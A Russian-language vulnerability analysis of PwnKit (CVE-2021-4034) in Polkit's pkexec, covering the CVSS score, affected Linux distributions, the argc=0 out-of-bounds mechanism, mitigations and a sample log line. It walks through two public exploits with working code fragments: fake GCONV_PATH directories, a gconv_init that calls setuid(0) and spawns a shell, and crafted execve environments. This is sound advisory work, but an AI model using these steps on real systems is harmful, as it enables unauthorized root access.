
Уязвимость BDU:2022-00488 (CVE-2021-4034) библиотеки Polkit
Уязвимость BDU:2022-00488 (CVE-2021-4034), также известная как PwnKit, затрагивает компонент pkexec
из библиотеки Polkit (PolicyKit), которая используется для управления правами доступа в Linux-системах. Уязвимость возникает из-за переполнения буфера при обработке аргументов командной строки и переменных окружения.
Анализ уязвимости
Уровень опасности: 7.8 (Высокий)
Вектор атаки: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-
AV:L (Вектор атаки: Локальный) – Требуется физический/локальный доступ к системе.
-
AC:L (Сложность атаки: Низкая) – Простая эксплуатация уязвимости.
-
PR:L (Привилегии: Низкие) – Нужны базовые права доступа.
-
UI:N (Взаимодействие: Нет) – Участие пользователя не требуется.
-
S:U (Область: Неизменная) – Влияет только на уязвимый компонент.
-
C:H (Конфиденциальность: Высокое) – Полная утечка данных.
-
I:H (Целостность: Высокое) – Критическое изменение данных/системы.
-
A:H (Доступность: Высокое) – Серьёзное нарушение работоспособности.
Интерпретация: Уязвимость высокой опасности (7.8) требует локального доступа и базовых прав, но позволяет легко нарушить конфиденциальность, целостность и доступность системы. Риск обусловлен низкой сложностью эксплуатации и максимальным воздействием на ключевые аспекты безопасности.
Уязвим Polkit 0.105, который также используется в Bubblewrap от 0.1.0 до 0.5.0.
Версии ОС с уязвимой библиотекой Polkit
- Debian GNU/Linux 9
- Debian GNU/Linux 10
- Debian GNU/Linux 11
- Ubuntu 18.04 LTS
- Ubuntu 14.04 ESM
- Ubuntu 20.04 LTS
- Ubuntu 21.04
- Ubuntu 16.04 ESM
- Ubuntu 21.10
- CentOS
- Fedora
- РЕД ОС 7.3
- Astra Linux Special Edition 1.6
- Astra Linux Special Edition 1.6 «Смоленск»
- Astra Linux Common Edition 2.12 «Орёл»
- Astra Linux Special Edition для «Эльбрус» 8.1 «Ленинград»
- Astra Linux Special Edition 1.7
- Astra Linux Common Edition 2.12.40 «Орёл»
- Astra Linux Special Edition 4.7
- ОС Аврора до 3.2.3.31 включительно
- Альт 8 СП
- ОСОН ОСнова Оnyx до 2.4.2
- РОСА Кобальт 7.
- ОС ОН «Стрелец» до 16.01.2023
Условия эксплуатации
-
Наличие
pkexec
версии ≤0.105. -
Локальный доступ к системе (атакующий должен иметь возможность запустить код от имени непривилегированного пользователя).
-
Отсутствие патчей (исправление выпущено в январе 2022).
Технические детали
pkexec
предназначен для выполнения команд с повышенными привилегиями. При запуске с пустым списком аргументов (argc=0
) возникает ошибка обработки переменных окружения. Код pkexec
пытается прочитать argv[1]
, который в этом случае указывает на первую переменную окружения (envp[0]
), что приводит к выходу за границы массива (Out-of-Bounds Read/Write). Это позволяет перезаписать переменные окружения, например, GCONV_PATH
, что используется для подмены конвертеров кодировок (gconv-modules) и выполнения произвольного кода.
Анализ эксплойтов
Рассмотрим два публичных эксплойта, демонстрирующих эксплуатацию уязвимости BDU:2022-00488 (CVE-2021-4034).
1. Эксплойт cve-2021-4034-poc.c
Цель: Заставить pkexec
загрузить вредоносный модуль gconv
через подмену GCONV_PATH
.
Шаги:
-
Создание поддельных файлов:
mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit' mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules
-
Каталог
GCONV_PATH=.
и файлpwnkit/gconv-modules
указывают на использование пользовательского модуля конвертации.
-
-
Генерация вредоносного shared object (pwnkit.so):
void gconv_init() { setuid(0); system("export PATH=/usr/bin; /bin/sh"); }
-
Функция
gconv_init
выполняется при загрузке модуля, повышая привилегии до root.
-
-
Запуск pkexec с подмененными переменными окружения:
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve("/usr/bin/pkexec", (char*[]){NULL}, env);
-
PATH=GCONV_PATH=.
заставляетpkexec
искатьgconv
-модули в текущем каталоге. -
Ошибка валидации
SHELL=pwnkit
приводит к вызовуg_printerr
, который загружает модуль изGCONV_PATH
.
-
Результат: Выполнение /bin/sh
с правами root.
2. Эксплойт pwnkit.c
Цель: Использование gconv
через подмену argv
и envp
.
Ключевые элементы:
-
Манипуляция
argv
иenvp
:char *argv[] = { NULL }; char *envp[] = { "pwn", "TERM=..", "PATH=GCONV_PATH=.", "CHARSET=BRUH", NULL }; execve("/usr/bin/pkexec", argv, envp);
-
argc=0
приводит к чтениюenvp[0]
какargv[1]
. -
TERM=..
вызывает ошибку валидации, активируяg_printerr
.
-
-
Использование
CHARSET
:
УстановкаCHARSET=BRUH
обходит проверку UTF-8, заставляяg_printerr
использоватьiconv
для конвертации строки. Это приводит к загрузке модуля изGCONV_PATH=./pwn
, гдеpwn
— заранее подготовленный каталог с вредоносным кодом.
Результат: Аналогично первому эксплойту — выполнение шелла с правами root.
Условия эксплуатации и распространенность
-
Локальный доступ: Эксплойты требуют возможности запуска бинарного файла на целевой системе. Удаленная эксплуатация невозможна.
-
Использование Polkit:
pkexec
входит в состав многих Linux-дистрибутивов (Debian, CentOS, RHEL, Ubuntu и другие) и используется для администрирования прав, например:-
Запуск системных утилит через графические интерфейсы (например,
gnome-control-center
). -
Управление сервисами через
systemd
.
-
Методы защиты
-
Обновление Polkit:
Установить исправленную версию (≥0.105-31ubuntu2 для Ubuntu, ≥0.118 для других дистрибутивов). -
Отключение pkexec (если не используется):
chmod 0755 /usr/bin/pkexec # Удаление SUID-бита
-
Ограничение прав через Mandatory Access Control:
-
Настройка SELinux или AppArmor для запрета выполнения произвольных модулей.
-
-
Мониторинг аномалий:
-
Проверка подозрительных вызовов
pkexec
в логах (/var/log/auth.log
).
-
Пример лога атаки
Jan 25 10:00:01 localhost pkexec[1234]: user: Error executing command; SHELL=pwnkit, PATH=GCONV_PATH=.
